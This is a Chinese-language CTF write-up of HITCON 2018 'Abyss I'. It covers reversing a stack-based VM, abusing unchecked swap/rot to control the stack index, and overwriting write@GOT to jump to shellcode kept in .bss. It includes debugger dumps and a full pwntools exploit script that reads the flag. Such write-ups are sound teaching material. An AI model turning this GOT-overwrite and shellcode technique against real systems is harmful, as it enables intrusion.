1 2 3
| The Edge of the Abyss
nc 35.200.23.198 31733 (Solves: 42, 230 pts)
|
题目为HITCON 2018的一道多层穿透的题目,环境为Ubuntu 1804。比赛中分为三道题目,分别需要我们pwn用户空间,内核空间,最后pwn KVM hypervisor。题目的附件以及源码在github已经开源,点击此处跳转。
附件如下:

主要有用的是hypervisor.elf,kernel.bin,user.elf。其他一些依赖暂时不管。运行环境需要开启KVM。

Abyss I - User Space
第一步我们先pwn用户空间。
Reversing
1 2 3 4 5 6 7
| ➜ release checksec ./user.elf [*] '/home/wgn/Desktop/release/user.elf' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
在这种使用KVM和自己的内核的题目中,checksec的结果似乎意义不大,因为具体使用的保护机制可能在内核或虚拟化层关闭了。
程序没有去符号,IDA打开之后可以看到很多小函数,有push/pop等等,猜测用户空间的这个程序应该也是个虚拟机。

在main函数中读取输入,然后调用work
函数处理输入执行。我们的输入也就是这个堆栈vm的opcode了。

work
函数:

在work
函数中,主要是根据opcode的不同类型来判断使用哪个函数来处理。如果是数的话就push进去(源码中用isdigit
来判断),如果是[a,z]之间的字母就push进去和a的差。如果是opcode类型就调用对应的函数来处理。本条处理完之后index++。此处对应的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| void work() { int n = strlen((char*)s); ip = 0; while(ip < n) { if(isdigit(s[ip])) push(fetch_int()); else if('a' <= s[ip] && s[ip] <= 'z') push(s[ip] - 'a'); else if(commands(s[ip])) ((void(*)())commands(s[ip]))(); ++ip; } }
|
push函数也很好理解,当前的栈顶index++,然后把val存进去。

command就是一个swith case。支持的语句有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| case '$': dup_ case '%': pop_ case '&': and_ case '*': mul case '+': add case ',': write case '-': minus case '.': writed case '/': div_ case ':': store case ';': fetch case '=': eql case '>': gt case '@': rot case '\\': swap_ case '_': neg case '|': or_ case '~': not_
|
对应的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| void dup_() { push(pick(0)); } void pop_() { pop(); } void swap_() { int tmp = stk[top-1]; stk[top-1] = stk[top-2]; stk[top-2] = tmp; } void rot() { int tmp = stk[top - 3]; stk[top-3] = stk[top-2]; stk[top-2] = stk[top-1]; stk[top-1] = tmp; } void pick_() { push(pick(pop())); ip++; } void add() { push(pop() + pop()); } void minus() { push(-pop() + pop()); } void mul() { push(pop() * pop()); } void div_() { int d = pop(); push(pop() / d); } void neg() { push(-pop()); } void and_() { push(pop() & pop()); } void or_() { push(pop() | pop()); } void not_() { push(~pop()); } void gt() { push(-(pop() < pop())); } void eql() { push(-(pop() == pop())); } void store() { int r = pop(); if(0 <= r && r < 26) vars[r] = pop(); } void fetch() { int r = pop(); if(0 <= r && r < 26) push(vars[r]); }
void write_() { char c = pop(); write(1, &c, 1); } void writed() { int v = pop(); printf("%d\n", v); }
|
输入的时候可以用其他字符来分割,如[
]
。
这个虚拟机用到的空间:
1 2 3 4 5 6
| struct Machine { int top, stk[1024]; unsigned char s[1024]; int ip; int vars[26]; } machine;
|
top就是栈顶的偏移,stk数组就是栈空间,s相当于代码段,存储用到的数据和操作符,ip是处理到的代码段的下标,vars用于存储数据。其中的vars应该是比较特殊的结构,在一般的栈虚拟机中没有。
这个虚拟机和brainfuck的机制比较相似。对于栈虚拟机,常见的问题出在不完整的边界检查,例如可以访问栈空间之外的内存。
涉及到边界检查的:
1 2 3 4 5 6 7 8 9 10 11
| void push(int v) { if(top >= 1024) return; stk[top++] = v; }
int pop() { if(top == 0) return 0; return stk[--top]; }
int pick(int idx) { if(idx < 0 || idx >= top) return 0; return stk[top - idx - 1]; }
|
可以看到push对边界做了检查避免压入太多元素。pop如果到栈空了就会返回0不会泄露数据。pick也做了边界检查。而不使用这几个函数就可以访问栈空间内存的功能有swap
rot
。对于vars数组操作的函数也都做了检查,所以问题应该在swap
和rot
中。
Vuln
在swap和rot中可以看到是没有做边界检查的,直接取出元素来操作。
1 2
| void swap_() { int tmp = stk[top-1]; stk[top-1] = stk[top-2]; stk[top-2] = tmp; } void rot() { int tmp = stk[top - 3]; stk[top-3] = stk[top-2]; stk[top-2] = stk[top-1]; stk[top-1] = tmp; }
|
既然可以越界访问栈空间stack数组,那么可以碰到什么东西呢?
1 2 3 4 5 6
| struct Machine { int top, stk[1024]; unsigned char s[1024]; int ip; int vars[26]; } machine;
|
可以看到top和stack是相邻的。在swap
功能中,将栈顶的两个元素交换位置,默认是栈中元素>=2个的。如果我们在栈中保存1个元素,调用swap,那么该元素就会和top互换,这样我们其实就能够控制top。
swap前,top=1,栈顶元素=12345678
1 2
| pwndbg> x/20gx 0x555555554000+0x2020a0 0x5555557560a0 <machine>: 0x00bc614e00000001 0x0000000000000000
|
攻击后,top=12345678,栈顶元素=1。
1 2
| pwndbg> x/20gx 0x555555554000+0x2020a0 0x5555557560a0 <machine>: 0x0000000100bc614e 0x0000000000000000
|
Exploit
既然能控制top的值,控制成什么值呢?在stack附近有got表,算出对应的top为多少。之后通过pop和输出功能来泄露got,通过push值即可控制got内容。同样通过控制top的方法,我们基本上有了任意地址读写的功能,这样就从栈vm中逃逸出来了。
1 2 3 4 5 6 7 8 9 10
| 0000000000202080 R_X86_64_COPY stdout@@GLIBC_2.2.5 0000000000202090 R_X86_64_COPY stdin@@GLIBC_2.2.5 0000000000202018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5 0000000000202020 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5 0000000000202028 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5 0000000000202030 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0000000000202038 R_X86_64_JUMP_SLOT setbuf@GLIBC_2.2.5 0000000000202040 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5 0000000000202048 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7 0000000000202050 R_X86_64_JUMP_SLOT __ctype_b_loc@GLIBC_2.3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 0x555555755fe0: 0x0000155554f5cab0 0x0000000000000000 0x555555755ff0: 0x0000000000000000 0x0000155554f7e520 <= 都是函数地址 0x555555756000: 0x0000000000201df8 0x0000155555555170 0x555555756010: 0x0000155555343750 0x0000155554fbb9c0 0x555555756020: 0x0000555555554796 0x00001555550c9590 0x555555756030: 0x00005555555547b6 0x0000155554fc34d0 0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0 0x555555756050: 0x0000155554f6b890 0x0000000000000000 0x555555756060: 0x0000555555756060 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000 0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000 0x5555557560a0 <machine>: 0x0000004100000002 0x0000000000000020 <= 存了两个元素0x41 0x20,此时top = 2 0x5555557560b0 <machine+16>: 0x0000000000000000 0x0000000000000000 0x5555557560c0 <machine+32>: 0x0000000000000000 0x0000000000000000 0x5555557560d0 <machine+48>: 0x0000000000000000 0x0000000000000000 0x5555557560e0 <machine+64>: 0x0000000000000000 0x0000000000000000 0x5555557560f0 <machine+80>: 0x0000000000000000 0x0000000000000000
|
真的如此吗?
并没有想象中这么美好。因为栈vm中没有输入的功能(源码中注视掉了read功能),也就是说我们无法和vm交互,输入完之后就不能干预了。即使我们泄露了libc,也没有机会写hook。在checksec中,PIE是开启的,ASLR我们也可以默认是开启的。
这有点像ret2libc。在ret2libc中虽然第一次我们泄露了libc但是没有重新交互的机会,但是我们可以通过回到main函数的方法来“创造”一次交互。如果我们能够通过控制返回地址回到main,那么题目也就明朗了。
在比赛过程中,放出来一个提示:NX?
。这里差不多明白在环境中其实没有NX保护。
这应该是在逆向hypervisor的步骤发现的,会发现NXE标志位没有设置,说明通过kvm创建的vm中没有开启NX保护,所以这里可以执行shellcode。
这样的话我们可以在栈上就保存好shellcode,然后跳转到shellcode执行即可。如果直接使用getshell的shellcode其实会失败,这是因为其实在内核中限制了open的参数,必须要包含flag
字符串,所以getshell是无法成功的。
Write Shellcode on .bss
shellcode我们可以放到bss上的vars数组中,利用store功能。shellcode比较长我们就4个字节4个字节存即可。shellcode的地址在0x2034a8。
1 2 3 4 5
| for i in range(0, len(shellcode), 4): part = u32(shellcode[i:i+4]) pl += str(part)+']' pl += str(i/4)+']' pl += ':'
|
Overwrite GOT
覆盖got是比较容易的,现在的问题是怎么能得到shellcode的地址,并且需要对抗ASLR。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pwndbg> x/20gx 0x555555554000+0x2034a8 shellcode的起始地址 0x5555557574a8 <machine+5128>: 0xe7894867616c6668 0x0f58026af631d231 0x5555557574b8 <machine+5144>: 0xd2315f036ac03105 0x6a050fe6894801b6 0x5555557574c8 <machine+5160>: 0x894801b6d2315f01 0x0000050f58016ae6 0x5555557574d8 <machine+5176>: 0x0000000000000000 0x0000000000000000 0x5555557574e8 <machine+5192>: 0x0000000000000000 0x0000000000000000 0x5555557574f8 <machine+5208>: 0x0000000000000000 0x0000000000000000 0x555555757508 <machine+5224>: 0x0000000000000000 0x0000000000000000 0x555555757518: 0x0000000000000000 0x0000000000000000 0x555555757528: 0x0000000000000000 0x0000000000000000 0x555555757538: 0x0000000000000000 0x0000000000000000 pwndbg> x/20gx 0x555555554000+0x202030 stack_check_fail的got表地址 0x555555756030: 0x00005555555547b6 0x0000155554fc34d0 0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0 0x555555756050: 0x0000155554f6b890 0x0000000000000000 0x555555756060: 0x0000555555756060 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000 0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000
|
具体的方法是,先找到一个没有调用过的函数got,例如stack check failed,因为没有进行resolve所以此时got此时存储的是plt+6的地址。不管是否开启ASLR,这个plt+6的地址和shellcode的起始地址的偏移是没有变化的,因为距离代码段的偏移是不动的。
1 2 3 4 5 6 7 8
| no aslr: 0x555555554000 0x555555556000 r-xp 2000 0 /home/wgn/Desktop/release/user.elf 0x555555755000 0x555555756000 r--p 1000 1000 /home/wgn/Desktop/release/user.elf 0x555555756000 0x555555757000 rw-p 1000 2000 /home/wgn/Desktop/release/user.elf aslr: 0x55d8cd285000 0x55d8cd287000 r-xp 2000 0 /home/wgn/Desktop/release/user.elf 0x55d8cd486000 0x55d8cd487000 r--p 1000 1000 /home/wgn/Desktop/release/user.elf 0x55d8cd487000 0x55d8cd488000 rw-p 1000 2000 /home/wgn/Desktop/release/user.elf
|
所以我们可以通过这个plt+6的地址进行计算,赋值成shellcode的地址,之后再调用该函数即可。目前没有调用的包括printf, write, stack_chk_fail。我们用write来作为写shellcode的目标即可。
swap之后,可以看到top被改了。
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x555555554000+0x2020a0-0x90 0x555555756010: 0x0000155555343750 0x0000155554fbb9c0 0x555555756020: 0x0000555555554796 <= 我们想改写的地址 0x00001555550c9590 0x555555756030: 0x00005555555547b6 0x0000155554fc34d0 0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0 0x555555756050: 0x0000155554f6b890 0x0000000000000000 0x555555756060: 0x0000555555756060 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000 0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000 0x5555557560a0 <machine>: 0x00000001ffffffe1 0x000000000000000b
|
之后我们保存了一个index=0x18,作为栈顶。此时在栈顶之后的就是write@plt+6的高4个字节。
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x555555554000+0x2020a0-0x90 0x555555756010: 0x0000155555343750 0x0000155554fbb9c0 0x555555756020: 0x00005555 <= 次栈顶 55554796 0x0000155500000018 <= index,栈顶 0x555555756030: 0x00005555555547b6 0x0000155554fc34d0 0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0 0x555555756050: 0x0000155554f6b890 0x0000000000000000 0x555555756060: 0x0000555555756060 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000 0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000 0x5555557560a0 <machine>: 0x00000001ffffffe2 0x000000000000000b
|
通过store指令我们讲这个高4字节存储在vars数组中。只要不碰到shellcode就行。
1 2 3 4 5 6 7 8
| pwndbg> x/20gx 0x555555554000+0x2034a8 0x5555557574a8 <machine+5128>: 0xe7894867616c6668 0x0f58026af631d231 0x5555557574b8 <machine+5144>: 0xd2315f036ac03105 0x6a050fe6894801b6 0x5555557574c8 <machine+5160>: 0x894801b6d2315f01 0x0000050f58016ae6 0x5555557574d8 <machine+5176>: 0x0000000000000000 0x0000000000000000 0x5555557574e8 <machine+5192>: 0x0000000000000000 0x0000000000000000 0x5555557574f8 <machine+5208>: 0x0000000000000000 0x0000000000000000 0x555555757508 <machine+5224>: 0x0000000000005555 <= 存储的高位的4字节 0x0000000000000000
|
现在store的两个参数都pop出来了,栈顶就是我们想要改写的write@plt+6的低4字节。此时我们只要push进去和shellcode地址低4字节的差值,再调用add即可。
add前:
1
| 0x555555756020: 0x00202d1255554796 0x0000155500000018
|
add后:
1
| 0x555555756020: 0x00202d12557574a8 0x0000155500000018
|
然后我们讲保存的高4字节恢复出来:
1
| 0x555555756020: 0x00005555557574a8 0x0000155500000018
|
现在write@plt+6就被改成了shellcode的地址。
调试的时候可以关闭ASLR(context.aslr=0
),只用gdb调试user.elf。got改好之后开启ASLR,带着hypervisor全套跑exp即可。
Full Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
context.log_level='debug' context.aslr = 1 context.arch='amd64'
p = process("./hypervisor.elf kernel.bin ld.so.2 ./user.elf".split(" "))
elf = ELF('./user.elf') log.info('PID: ' + str(proc.pidof(p)[0])) pause()
''' shellcode: 0x2034a8 0x5555557574a8 write@got: 0x555555756020 ''' p.recv()
shellcode = asm(shellcraft.open('flag', 0, 0)) shellcode += asm(shellcraft.read(3, 'rsp', 0x100)) shellcode += asm(shellcraft.write(1, 'rsp', 0x100))
shellcode = shellcode.ljust(48, '\x00')
pl = '' for i in range(0, len(shellcode), 4): part = u32(shellcode[i:i+4]) pl += str(part)+']' pl += str(i/4)+']' pl += ':'
pl += '31'+'_'+'\\' pl += '24'+']' pl += ':' pl += str(0x557574a8-0x55554796)+']' pl += '+' pl += '24'+']' pl += ';' pl += ','
p.sendline(pl) p.interactive()
|
效果:
1 2
| hitcon{---flag1-will-be-here---} ���\xff\x7f\x00\xa7\xa0,\x90 \x7f\x00\x00\x00\x00\x00\x80\x91��\x00\x00���\xff\x7f\x00.\xa1,\x90 \x7f\x00@\xa1,\x90 \x7f\x00\x97\x1b�� \x7f\x00\x00\x00\x00\x00����\xff\x7f\x00����\x00\x00\xa0,\x90 \x7f\x00\x00\x00\x00\x00h$\xa0\x9d�w\xb0R\x10,\x90 \x7f\x00����\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00h$ \x11\xae\x0eh$\xbe�GH\xb0R\x00\x00$V\x00\x00\x00\x00\x00\x00\x00\x00\x00,��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00KVM_EXIT_SHUTDOWN
|